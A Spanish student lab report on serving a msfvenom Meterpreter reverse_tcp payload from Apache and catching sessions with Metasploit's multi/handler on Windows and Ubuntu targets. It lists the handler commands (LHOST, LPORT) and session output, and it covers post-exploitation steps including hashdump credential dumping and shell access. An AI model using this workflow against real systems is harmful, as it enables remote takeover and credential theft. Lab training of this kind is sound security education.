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Informe detallado de despliegue y explotación de satena.exe 

 En el presente informe se documenta el procedimiento realizado para llevar a cabo la carga y 

ejecución de un payload malicioso en un entorno controlado de laboratorio. Se utilizó un servidor 

Apache como medio de distribución y la herramienta Metasploit Framework como plataforma para 

la gestión de la explotación y el establecimiento de una sesión remota con la máquina víctima. 

Objetivo y contexto 

En este ejercicio buscamos desplegar un payload Windows (satena.exe) en un servidor 

Apache y, posteriormente, capturar una sesión Meterpreter mediante Metasploit. El flujo general 

contempla: 

• Publicación del ejecutable en /var/www/html/ 

• Modificación del índice de Apache para facilitar descargas 

• Ejecución de un handler reverse_tcp 

• Obtención de acceso y ejecución de comandos post-explotación 
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Creación del Msfvenom 

Yo generé un ejecutable malicioso para Windows usando msfvenom, creando un payload 

Meterpreter de tipo reverse TCP y volcándolo en el archivo satena.exe. Luego confirmé su existencia 

en mi carpeta de trabajo. 

 

Ilustración 1 creando un payload 
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Servidor de Apache 

Inicié el servidor Apache y verifiqué que estuviera corriendo correctamente. 

 

 

 

 

 

 

 

 

 

 

 

 

Yo intenté copiar mi payload satena.exe desde el directorio de trabajo al document root de Apache 

para poder descargarlo vía web. Para ello ejecuté: 

 

Ilustración 3satena.exe 

 

 

 

 

Ilustración 2 servidor Apache 
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Aquí ya Podemos visualizar el archivo de satena.exe: 

 

 

 

 

 

Aquí hacemos descargable los archivos que subimos al /var/www/html/ 

 

Ilustración 5/var/www/html/ 

Con el siguiente comando modificamos el index.html que trae el apache por defecto y lo 

cambiamos por indexsp.html, para que nos deje acceder a los archivos que montamos ahí, el cual 

es satena.exe 

 

Ilustración 6 cambiamos por indexsp.html 

 

 

 

 

 

Ilustración 4 index 



10  

  

 Aquí ya podemos apreciar los cambios que hicimos en el apache con su index.html por 

indexps.html 

 

 

 

 

 

 

 

 

 

Ilustración 7 los index modificados 

 

 

 

 

 

 

 

 

 Ilustración 8 
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 Ahora lo que procedemos a entrar a metasploit desde Kali.  

 

Ilustración 9 

Aquí se ejecutaron los siguientes comandos: 

use exploit/multi/handler 

set PAYLOAD windows/meterpreter/reverse_tcp 

set LHOST 210.210.200.4 

set LPORT 4444 

exploit 

 

Ilustración 10 
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 Al darle exploit se nos carga: [*] Started reverse TCP handler on 210.210.200.4:4444 

Entonces esperamos que el dueño del Windows server ejecute el archivo satena.exe 

Al ejecutar el satena.exe no sale esto… 

[*] Sending stage (177734 bytes) to 210.210.200.7 

[*] Meterpreter session 1 opened (210.210.200.4:4444 -> 210.210.200.7:1057) at 2025-09-03 

08:13:03 +0200 

✓ Le damos sysinfo para visualizar todo lo que tiene el sistema que estamos atacando 

 

Ilustración 11 

✓ Con getuid podemos irnos a mirar que usuario tenemos registrado o cual está de principal 

 

Ilustración 12 

✓ Le damos hashdump para mirar los usuarios y sus contraseñas 

 

Ilustración 13 
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✓ Con netstat podemos Ver conexiones de red activas 

 

Ilustración 14 

✓ Con Shell podemos acceder al cmd del sistema o el system23 

 

Ilustración 15 
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Segunda parte, ataque a la distribución de Linux (Ubuntu, escogí una Ova) 

Creamos la carpeta donde guardaremos el .exe y llamamos el .exe asi… ataque.exe 

 

 

Ilustración 16 

Aquí movimos el ataque.elf a la carpeta de html y le dimos privilegios y después ponemos a 

correr el apache2, para acceder desde Ubuntu 

 

Ilustración 17 
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Aquí ya podemos apreciar el index de apache que tiene los archivos ..exe 

 

 

Ilustración 18 
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Luego nos vamos a configurar el  

msfconsole 

use exploit/multi/handler 

set PAYLOAD linux/x64/meterpreter/reverse_tcp 

set LHOST 210.210.200.4 

set LPORT 4678 

exploit  

 

Ilustración 19 
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Usamos esos comandos para ejecutar el ataque.elf 

 

Ilustración 20 

Aquí ya nos encontramos con la sesión de meterpreter activa y corriendo… 

 

Ilustración 21 
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Aquí tenemos el proceso activo de ataque.elf activo… 

 

 

Accerder al Windows xp desde meterpreter 
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Aqui ya terminaria todo  
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Dificultades encontradas y soluciones 

• Puerto ocupado al iniciar el handler 

Se presentó un error de binding porque el puerto 4678 ya estaba en uso por un proceso Ruby. 

Solución: ejecuté: sudo lsof -i :4678 

sudo kill 132143 

Glosario 

• Apache HTTP Server: servidor web de código abierto que sirve contenido via HTTP. 

• msfvenom: herramienta de Metasploit para generar payloads en distintos formatos. 

• Payload: código malicioso que, al ejecutarse, abre una comunicación inversa o ejecuta 

acciones en la víctima. 

• Meterpreter: payload interactivo de Metasploit que provee un shell extendido y comandos de 

post-explotación. 

• reverse_tcp: tipo de payload que conecta desde la máquina víctima hacia el atacante usando 

TCP inverso. 

• LHOST / LPORT: dirección IP y puerto donde el handler espera la conexión de retorno. 

• Handler (multi/handler): módulo de Metasploit que escucha conexiones de payloads sin 

explotar automáticamente una vulnerabilidad. 

• chmod 755: comando Unix para otorgar permisos de lectura/ejecución a todos y escritura 

solo al propietario. 

• sysinfo, getuid, hashdump, netstat: comandos de Meterpreter para recolectar información del 

sistema, credenciales y estado de red. 
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• Persistence: módulo de post-explotación de Meterpreter para plantar un backdoor que 

sobreviva reinicios. 

Conclusiones  

Durante La práctica permitió desplegar exitosamente un payload Windows (satena.exe) en un 

servidor Apache y capturar una sesión Meterpreter. Los principales retos fueron liberar el puerto 

de escucha y ajustar permisos en el directorio web, pero se superaron con diagnósticos de lsof, 

kill y uso de sudo.Bibliografía   

Rafel Sandoval Morales  

Webgrafía  

Ia. 

https://chatgpt.com/  

https://chatgpt.com/

